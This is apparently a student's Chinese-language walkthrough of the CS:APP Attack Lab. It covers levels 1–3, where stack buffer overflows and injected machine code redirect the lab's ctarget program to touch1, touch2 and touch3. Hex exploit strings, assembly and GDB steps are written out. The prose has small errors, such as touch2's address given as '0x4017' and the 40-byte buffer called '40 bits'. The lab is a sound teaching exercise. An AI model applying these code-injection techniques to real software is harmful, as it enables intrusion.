CSAPP Attack Lab 解题报告
Level1:
目标:执行touch1函数:
在本题的讲义中给出了getbuf
、test
和touch1
三个函数的C语言描述:
1 2 3 4 5 6
| unsigned getbuf() { char buf[BUFFER_SIZE]; Gets(buf); return 1; }
|
1 2 3 4 5 6
| void test() { int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%x\n", val); }
|
1 2 3 4 5 6 7 8
| void touch1() { vlevel = 1; printf("Touch1!: You called touch1()\n"); validate(1); exit(0); }
|
该题的意图是我们应当利用getbuf
中的缓冲区溢出漏洞使得执行getbuf
之后重定向至touch1
即可。因此我们需要确定BUFFER_SIZE
的大小以及touch1
函数所在的地址。
首先反编译ctarget
在Linux上使用命令:
1
| objdump -d ctarget > ctarget.asm
|
将ctarget
反汇编成ctarget.asm
在ctarget上搜索touch1函数以及getbuf函数(可以使用编辑器代码搜索功能)
可以发现getbuf的汇编代码如下:
1 2 3 4 5 6 7 8 9
| 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 ac 03 00 00 callq 401b60 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop
|
从这里我们可以观察到getbuf
函数首先执行了将rsp寄存器减去0x28这个操作,即将栈顶指针向下移40个比特位,因此我们可以推断出BUFFER_SIZE
的大小为40。
之后我们可以同样使用这种方法搜索touch1函数:
1 2 3 4 5 6 7 8 9 10
| 00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 3d 20 00 01 movl $0x1,0x203d0e(%rip) # 6054dc <vlevel> 4017cb: 00 00 00 4017ce: bf e5 31 40 00 mov $0x4031e5,%edi 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 cb 05 00 00 callq 401dad <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
|
在该段汇编代码中,我们同样可以看出touch1函数的地址为0x4017c0。
因此编写输入数据就简单了。
首先打开一个文件写入数据:
编辑文件如下:
1 2 3 4 5 6 7 8 9 10 11
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00
|
前40位可以任意填充,在40位后即为缓存区溢出位,这里压入的是函数返回地址,因此将touch1
函数的地址写入即可在ret
之后返回至touch1
函数并执行。
最终我们使用hex2raw工具执行代码:
1
| cat touch1.txt | ./hex2raw | ./ctarget -q
|
最终运行结果如下:
Level2:
目标:执行函数touch2,并传入cookie的值作为参数val
同样,在本题中也给出了touch2
的函数实现
1 2 3 4 5 6 7 8 9 10 11
| void touch2(unsigned val){ vlevel = 2; if (val == cookie){ printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }
|
通过在反汇编中寻找touch2
代码,我们发现touch2
的汇编语言如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip) # 6054dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi # 6054e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be 08 32 40 00 mov $0x403208,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 8b 05 00 00 callq 401dad <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 30 32 40 00 mov $0x403230,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 2d 06 00 00 callq 401e6f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
|
同样,我们找到了touch2
函数的地址为0x4017
。
由于本题需要在touch2
中传入cookie
参数才能执行成功,因此我们需要在输入文件中注入代码,并且将函数返回地址修改为代码注入的地址以实现代码注入攻击,因此我们需要知道getbuf
函数栈顶地址(因为在此处我们需要注入代码)。
使用GDB调试一下:
1 2 3 4 5 6 7 8 9 10 11
| gdb ctarget
(gdb) set args -q
(gdb) b getbuf
(gdb) r
(gdb) ni
(gdb) p/x $rsp
|
在命令行中我们调试ctarget程序并且在getbuf函数上打断点,在getbuf
执行一步过后,即sub $0x28 ,%rsp
之后我们查看$rsp
寄存器的值,输出:
接下来我们使用vim编辑注入汇编代码:
1 2 3
| mov $0x59b997fa,%rdi push $0x4017ec ret
|
然后将汇编代码后编译后再进行反编译以获取机器代码:
然后可以获取touch2
的机器级代码:
1 2 3 4 5
| 48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3
|
基于以上的信息我们就可以编辑输入文件了!
输入文件如下:
1 2 3 4 5 6
| 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
|
在栈顶进行代码注入,同时在溢出去返回栈顶地址。
使用hex2raw
进行输入。
结果如下:
level3:
目标:执行函数touch3,并传入cookie的值的字符串作为参数sval
与level2类似,区别在于我们这次需要构造一个字符串,而不是直接传一个整数,需要注意字符串保存位置。
讲义给出了hexmatch
和touch3
的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| int hexmatch(unsigned val, char *sval){ char cbuf[110]; char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; }
void touch3(char *sval){ vlevel = 3; if (hexmatch(cookie, sval)){ printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }
|
可见需要传入表示 cookie
的值的字符串作为参数 sval
。同时函数 hexmatch
的设计使得直接获取用于检验的字符串较为困难,因此我们需要自行构造这个字符串。
因此我们需要查看touch3的地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| 00000000004018fa <touch3>: 4018fa: 53 push %rbx 4018fb: 48 89 fb mov %rdi,%rbx 4018fe: c7 05 d4 3b 20 00 03 movl $0x3,0x203bd4(%rip) # 6054dc <vlevel> 401905: 00 00 00 401908: 48 89 fe mov %rdi,%rsi 40190b: 8b 3d d3 3b 20 00 mov 0x203bd3(%rip),%edi # 6054e4 <cookie> 401911: e8 36 ff ff ff callq 40184c <hexmatch> 401916: 85 c0 test %eax,%eax 401918: 74 23 je 40193d <touch3+0x43> 40191a: 48 89 da mov %rbx,%rdx 40191d: be 58 32 40 00 mov $0x403258,%esi 401922: bf 01 00 00 00 mov $0x1,%edi 401927: b8 00 00 00 00 mov $0x0,%eax 40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt> 401931: bf 03 00 00 00 mov $0x3,%edi 401936: e8 72 04 00 00 callq 401dad <validate> 40193b: eb 21 jmp 40195e <touch3+0x64> 40193d: 48 89 da mov %rbx,%rdx 401940: be 80 32 40 00 mov $0x403280,%esi 401945: bf 01 00 00 00 mov $0x1,%edi 40194a: b8 00 00 00 00 mov $0x0,%eax 40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt> 401954: bf 03 00 00 00 mov $0x3,%edi 401959: e8 11 05 00 00 callq 401e6f <fail> 40195e: bf 00 00 00 00 mov $0x0,%edi 401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
|
touch3的汇编代码如上所示,了解到touch3
的地址为0x4018fa
,因此我们可以基于此地址构造注入代码。在写注入代码前我们还需要了解到cookie
数值的字符串表示,以及该字符串在栈中存放位置。
其中cookie的字符串表示可以通过查询ASCII码表或者使用高级语言输出来获得。
关于字符串在栈中的存放位置,我们可以试想一下,如果将cookie字符串的编码放在返回地址下面的时候,当我们return
至touch3
所在函数时会进行数据的入栈,因此当从栈中地址取出字符串参数时,该字符串已经被破坏掉了,因此我们需要将cookie字符串放在return地址的上面,为了安全起见,我们将cookie
的值设置为%rsp+48
的位置。
接下来编辑汇编代码:
1 2 3
| mov $0x5561dca8,%rdi push $0x4018fa ret
|
其中0x5561dca8
这个地址是将栈顶指针加上48得到的。
之后,同level2一样,我们对注入代码进行汇编、反汇编获取机器码,这里不再赘述。
获取到的机器码为:
1 2 3 4 5
| 48 c7 c7 a8 dc 61 55
68 fa 18 40 00
c3
|
在之后我们就可以编写输入文件了。
输入文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61
|
然后继续使用hex2raw
工具进行输入。
输入结果如下: